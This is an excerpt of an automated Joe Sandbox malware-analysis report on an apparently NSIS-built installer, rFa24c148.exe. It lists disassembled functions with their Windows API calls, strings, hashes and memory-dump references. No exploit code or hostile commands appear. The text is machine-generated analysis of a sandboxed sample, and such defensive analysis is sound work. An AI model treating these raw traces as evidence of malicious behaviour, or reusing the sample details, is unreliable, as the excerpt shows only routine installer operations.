Instruction ID: 4121dad2538bec1171c888a02065f78bbc92972143ed5d2ae8151d97d00695b6
Opcode Fuzzy Hash: 95dead6a558a01d4a5ec967a392ba08a15c3c6741a46ee5c6d7a895f4c731ce1
Instruction Fuzzy Hash: 68418A71804249AFDB058FA5DD459BFBBB9FF48310F00812AF951AA1A0C738EA51DFA5

Function 100022EB Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 134memorystringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?), ref: 10002391
GlobalAlloc.KERNEL32(00000040,00000010), ref: 100023B2
CLSIDFromString.OLE32(?,00000000), ref: 100023BF
GlobalAlloc.KERNEL32(00000040), ref: 100023DD
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 100023F8
GlobalFree.KERNEL32(00000000), ref: 1000241A

Strings

@Hmu, xrefs: 100023BF

Memory Dump Source

Source File: 00000000.00000002.2062996466.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2062980489.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2063018747.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2063039760.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_rFa24c148.jbxd

Similarity

API ID: Global$Alloc$ByteCharFreeFromMultiStringWidelstrlen
String ID: @Hmu
API String ID: 3579998418-887474944
Opcode ID: d06520f5c61e510f0831b34fc4ed5dc6ae45d33c03c026c0edd8301773c2f489
Instruction ID: 896c08f96dc03187adf01b888d28386c50d9513e33e57f95a3092ffc5e904c0a
Opcode Fuzzy Hash: d06520f5c61e510f0831b34fc4ed5dc6ae45d33c03c026c0edd8301773c2f489
Instruction Fuzzy Hash: A3419FB4504706EFF324DF249C94A6A77E8FB443D0F11892DF98AC6199CB34AA94CB61

Function 0040600B Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\rFa24c148.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004031D7,C:\Users\user\AppData\Local\Temp\,74DF3420,004033B7), ref: 0040606E
CharNextW.USER32(?,?,?,00000000), ref: 0040607D
CharNextW.USER32(?,"C:\Users\user\Desktop\rFa24c148.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004031D7,C:\Users\user\AppData\Local\Temp\,74DF3420,004033B7), ref: 00406082
CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004031D7,C:\Users\user\AppData\Local\Temp\,74DF3420,004033B7), ref: 00406095

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 0040600C, 00406011
*?|<>/":, xrefs: 0040605D
"C:\Users\user\Desktop\rFa24c148.exe", xrefs: 0040604F

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\rFa24c148.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-560394690
Opcode ID: 3b4e1c3ec424bf1de7da59c711653df59d062fb970fe0516104cac3d90234bf4
Instruction ID: 5f8db4d4ef1aaeb388f58d13ad2a41ec80f6628d4c19804d17f22981d69c56f6
Opcode Fuzzy Hash: 3b4e1c3ec424bf1de7da59c711653df59d062fb970fe0516104cac3d90234bf4
Instruction Fuzzy Hash: 5311C45684121299DB30BB199C40BB7A2E8EF54790F52803FED8A733C1E77C5C9286BD

Function 004024EE Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 54filestringCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\nsnA538.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nsnA538.tmp\System.dll,00000400,?,?,00000021), ref: 0040252F
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsnA538.tmp\System.dll,?,?,C:\Users\user\AppData\Local\Temp\nsnA538.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nsnA538.tmp\System.dll,00000400,?,?,00000021), ref: 00402536
WriteFile.KERNEL32(00000000,?,C:\Users\user\AppData\Local\Temp\nsnA538.tmp\System.dll,00000000,?,?,00000000,00000011), ref: 00402568

Strings

8, xrefs: 0040250C
C:\Users\user\AppData\Local\Temp\nsnA538.tmp\System.dll, xrefs: 004024FA, 0040251B, 00402525, 00402535, 0040255C
C:\Users\user\AppData\Local\Temp\nsnA538.tmp, xrefs: 00402528

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID: ByteCharFileMultiWideWritelstrlen
String ID: 8$C:\Users\user\AppData\Local\Temp\nsnA538.tmp$C:\Users\user\AppData\Local\Temp\nsnA538.tmp\System.dll
API String ID: 1453599865-276241997
Opcode ID: 7ff42c571deb340bf81926ce0c082dd5313d153aba56cb08d0eeabb960131028
Instruction ID: 7a030a9c095cf7661290fe091fec1a729e70b9dbbd1292938289fd6a30d2cb41
Opcode Fuzzy Hash: 7ff42c571deb340bf81926ce0c082dd5313d153aba56cb08d0eeabb960131028
Instruction Fuzzy Hash: 18018071A04204FFD700AFA09E89EAF7378AB10319F20453BB202B61D1D6B85D419A2D

Function 00404023 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 00404040
GetSysColor.USER32(00000000), ref: 0040405C
SetTextColor.GDI32(?,00000000), ref: 00404068
SetBkMode.GDI32(?,?), ref: 00404074
GetSysColor.USER32(?), ref: 00404087
SetBkColor.GDI32(?,?), ref: 00404097
DeleteObject.GDI32(?), ref: 004040B1
CreateBrushIndirect.GDI32(?), ref: 004040BB

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: b90be86f4b41523f1c687d93ae3cdfe665fb5c0f546787b0b5a2f8f889851cd4
Instruction ID: 7833da122bd5b54dba07469e608d39c2309fd7833842469cb0c606e819627665
Opcode Fuzzy Hash: b90be86f4b41523f1c687d93ae3cdfe665fb5c0f546787b0b5a2f8f889851cd4
Instruction Fuzzy Hash: 5A2184B19047449BCB319F68DD08B5B7BF8AF40714F048A29EA95F22E0C738E904CB65

Function 00402573 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 142fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 004025DB
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 00402616
SetFilePointer.KERNEL32(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 00402639
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 0040264F

Part of subcall function 00405A66: ReadFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,004031B1,00000000,00000000,00402FF1,000000FF,00000004,00000000,00000000,00000000), ref: 00405A7A

Part of subcall function 00405CBE: wsprintfW.USER32 ref: 00405CCB

Strings

9, xrefs: 004025BE

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID: File$ByteCharMultiReadWide$Pointerwsprintf
String ID: 9
API String ID: 1149667376-2366072709
Opcode ID: 7d41bcd3dae3dae80b68e9040ec7ff24257b7140080f1b6cb91404220a5539cb
Instruction ID: a762cbfc482fee2f38ad097521ed942063d68533c50e5d13a1d21fd8ed512a93
Opcode Fuzzy Hash: 7d41bcd3dae3dae80b68e9040ec7ff24257b7140080f1b6cb91404220a5539cb
Instruction Fuzzy Hash: 2E51E671E04209ABDF24DF94DE88AAEB779FF14304F50443BE501B62D0D7B99A42CB69

Function 004027B5 Relevance: 10.6, APIs: 7, Instructions: 89memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,?,000000F0), ref: 00402809
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,?,?,000000F0), ref: 00402825
GlobalFree.KERNEL32(FFFFFD66), ref: 0040285E
WriteFile.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,000000F0), ref: 00402870
GlobalFree.KERNEL32(00000000), ref: 00402877
CloseHandle.KERNEL32(?,?,?,?,?,?,000000F0), ref: 0040288F
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,?,000000F0), ref: 004028A3

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID:
API String ID: 3294113728-0
Opcode ID: 09ec96b44468b6559568886edfe2b22b6abacdf6cac7a22eaf78803dc8c7711a
Instruction ID: 39eb73ea935b4093d5e0ae2fe9f4df3abe493bf7cf7ddc07517dddc298ecdb3a
Opcode Fuzzy Hash: 09ec96b44468b6559568886edfe2b22b6abacdf6cac7a22eaf78803dc8c7711a
Instruction Fuzzy Hash: 0531C272C00118BBDF11AFA5CE49DAF7E79EF08368F24423AF510762D0C6795E418BA9

Function 004048EB Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404906
GetMessagePos.USER32 ref: 0040490E
ScreenToClient.USER32(?,?), ref: 00404928
SendMessageW.USER32(?,00001111,00000000,?), ref: 0040493A
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404960

Strings

f, xrefs: 0040493C

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 06f6ebea5bc1d9fbd35e9f77c39338462eb0780e6261c6c1cca29060ed6e4b7a
Instruction ID: 5094cac0cfd66b0e8cfd3256396541bb223221662a15d93018ee399e52c78ab9
Opcode Fuzzy Hash: 06f6ebea5bc1d9fbd35e9f77c39338462eb0780e6261c6c1cca29060ed6e4b7a
Instruction Fuzzy Hash: B9014071D00219BADB00DBA4DD45FFFBBB8AB95B21F10016ABB10B71C0C7B4A5018B95

Function 00402C7F Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402C9D
MulDiv.KERNEL32(000F568E,00000064,000F5692), ref: 00402CC8
wsprintfW.USER32 ref: 00402CD8
SetWindowTextW.USER32(?,?), ref: 00402CE8
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402CFA

Strings

verifying installer: %d%%, xrefs: 00402CD2

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 4a7d612a3107a8faa67c2a3ba57bc865a53d9af2ae63cae8aa971940a760aa5f
Instruction ID: 00b8461607dcb0b3980451466b6828af2013657049940e2aaaac4a967361d4db
Opcode Fuzzy Hash: 4a7d612a3107a8faa67c2a3ba57bc865a53d9af2ae63cae8aa971940a760aa5f
Instruction Fuzzy Hash: F5012170604208BBEF249F60DD49BAE3B69FB00305F008039FA06A52D1DBB99954DB59

Function 00401D41 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 38COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401D44
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401D51
MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D60
ReleaseDC.USER32(?,00000000), ref: 00401D71
CreateFontIndirectW.GDI32(0040BD58), ref: 00401DBC

Strings

Tahoma, xrefs: 00401DA2

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
